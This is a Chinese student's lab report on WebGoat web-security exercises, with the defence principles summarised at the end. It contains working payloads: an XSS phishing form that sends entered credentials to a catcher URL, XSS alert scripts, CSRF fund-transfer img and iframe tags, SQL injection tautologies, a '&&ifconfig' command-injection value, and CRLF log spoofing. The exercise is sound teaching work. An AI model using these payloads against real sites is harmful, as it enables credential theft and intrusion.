20155338《网络对抗》Web安全基础实践
20155338《网络对抗》Web安全基础实践
实验过程
WebGoat
在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat。

当页面成功停在下图位置时,最小化终端窗口:

打开浏览器,在地址栏输入 localhost:8080/WebGoat打开WebGoat ,选择默认账号、密码即可登陆成功。

XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击
先编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
然后在webgoat找到xss攻击打开 Phishing with XSS(第一个)

将这段代码输入到输入框中,点击 search 出现如下登录框:

在登录框中输入用户名、密码:

点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!

2、Stored XSS Attacks 存储型XSS攻击
打开 Stored XSS Attacks(xxs攻击第二个)

在Message框中输入 <script>alert("I am 20155338");</script>
点击提交后弹出对话框,显示I am 20155338。攻击成功!

3、Reflected XSS Attacks 反射型XSS攻击
打开xss的第三个攻击,在code框中输入 <script>alert("I am 20155338");</script>

点击Purchase出现对话框,显示I am 20155338。攻击成功!

CSRF攻击
1、Cross Site Request Forgery(CSRF)
查看页面右边Parameters中的 src 和 menu 值。

在title框中输入学号,message框中输入代码: <img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

提交后生成一个链接20155338:

点击学号名即可查看用户操作的信息,攻击成功

2、CSRF Prompt By-Pass
查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交后生成一个链接20155338:

点击学号名即可查看用户操作的信息,攻击成功

SQL注入攻击
1、Numeric SQL Injection
我们看到这一题的选择框也是一个下拉框,在当前网页上无法修改,于是,我们使用 BurpSuite 抓包修改.

打开BurpSuite,在BurpSuite中依次选择 Proxy->Options->Add 添加一个端口,将绑定的端口设为5338,点击确认后会在Options下增加一行,勾选新形成的这一行:


点击浏览器右上方的更多选项卡,选择 preference

在页面左侧选择 advanced ,选择 network 页标签,在 connection那一行选择 settings… ,在弹出的窗口中设置代理服务器和端口.

设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择 Proxy->Intercept ,可以看到已经抓到了包:

右键选择 send to repeater ,进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1

回到Proxy中点击 Intercept is on 对剩下的包不作处理,回到火狐发现已经成功。

2、Command Injection
我们看到这一题的选择框是一个下拉框,在当前网页上无法修改,于是,我们使用 BurpSuite 抓包修改
题目页面点击 view ,然后进入BurpSuite中,在 repeater 页标签的Params选项中先运行一次,查看数据都提交的位置:

然后修改HelpFile的值为 AccessControlMatrix.help"&&ifconfig",其中的双引号是为了封闭原语句中的双引号,&&在命令行中是执行另外一条语句的意思,点击GO发现执行了ifconfig语句

回到题目发现显示破解成功。

3、Log Spoofing
在User Name文本框中输入 %0d%0aLogin succeeded !admin 达到欺骗登录效果,破解成功:

4、String SQL Injection
在输入框中输入Smith进行尝试,观察下方形成的输入语句,可以看到输入的Smith在两个单引号之间:

构造永真式 'or 1='1 ,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号,使这条语句被强行拆分成为两条语句。
这样一来,攻击就成功了,可以显示所有用户的信息了。

基础问题回答
- SQL注入攻击原理,如何防御?
原理:
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- XSS攻击的原理,如何防御?
原理:
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
- CSRF攻击原理,如何防御?
原理:
CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:
1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
20155338《网络对抗》Web安全基础实践的更多相关文章
- 20145334赵文豪网络对抗Web安全基础实践
1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 20145306 网路攻防 web安全基础实践
20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...
- 20155324《网络对抗技术》web安全基础实践
20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践
20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
随机推荐
- 微信小程序开发--背景图显示
这两天开发微信小程序,在设置背景图片时,发现在wxss里面设置 background-image:(url) 属性,不管是开发工具还是线上都无法显示.经过查资料发现,background-image ...
- MAC安装了mumu安卓模拟器,但无法检测到该模拟器
1.adb devices 看不到模拟器 2.adb connect 127.0.0.1:5555 3.adb kill-server 没有报错,即成功 4. adb start-server ...
- svn目标计算机主动拒绝
这两天上传文件到服务器端,总是提示“ 目标计算机主动拒绝”. 后来排查,是受到360杀毒软件的文件系统实时防护功能影响. 虽然服务器端已经将仓库目录添加进360杀毒的白名单,但随着用户不断更新文件,文 ...
- HttpWebRequest 禁用系统默认代理
方法一 将HttpWebRequest对象的Proxy属性设置为null 方法二 配置文件修改 <proxy usesystemdefault="False" />
- hibernate数据库操作基础
1.根据主键查询 2.getSession().createSQLQuery(sql)和session.createQuery(sql) 3.Seeion的其他方法 4.Hibernate Crit ...
- IDEA中的替换功能(替换代码中的变量名很好用哦)
刚刚上班不久,这两天正在研究公司项目里面的代码,今天用阿里的插件扫描了一下代码,发现代码中有很多变量的命名,没有遵循驼峰式的命名规则.一开始我一个一个的修改这些变量名,后来无意中用了一下Ctrl+F( ...
- Windows10下python3.5的sklearn库安装
具体安装方法参考https://blog.csdn.net/HYDMonster/article/details/79766086 但是注意的是,http://www.lfd.uci.edu/~goh ...
- 矩阵dp
矩阵dp 这里是矩阵dp,不是矩阵乘法优化dp. 矩阵上的dp好像也没什么特殊的?大概有一个套路就是从上向下,从左向右进行dp吧. 首先第一道题好像不是矩阵dp... 1005 矩阵取数游戏:http ...
- Kafka学习之路 (五)Kafka在zookeeper中的存储
一.Kafka在zookeeper中存储结构图 二.分析 2.1 topic注册信息 /brokers/topics/[topic] : 存储某个topic的partitions所有分配信息 [zk: ...
- 8、JVM--虚拟机字节码执行引擎
8.1.概述 执行引擎是Java虚拟机最核心的组成部分之一.“虚拟机”是一个相对于“物理机”的概念,这两种机器都有代码执行能力,其区别是物理机的执行引擎是直接建立在处理器.硬件.指令集和操作系统层面上 ...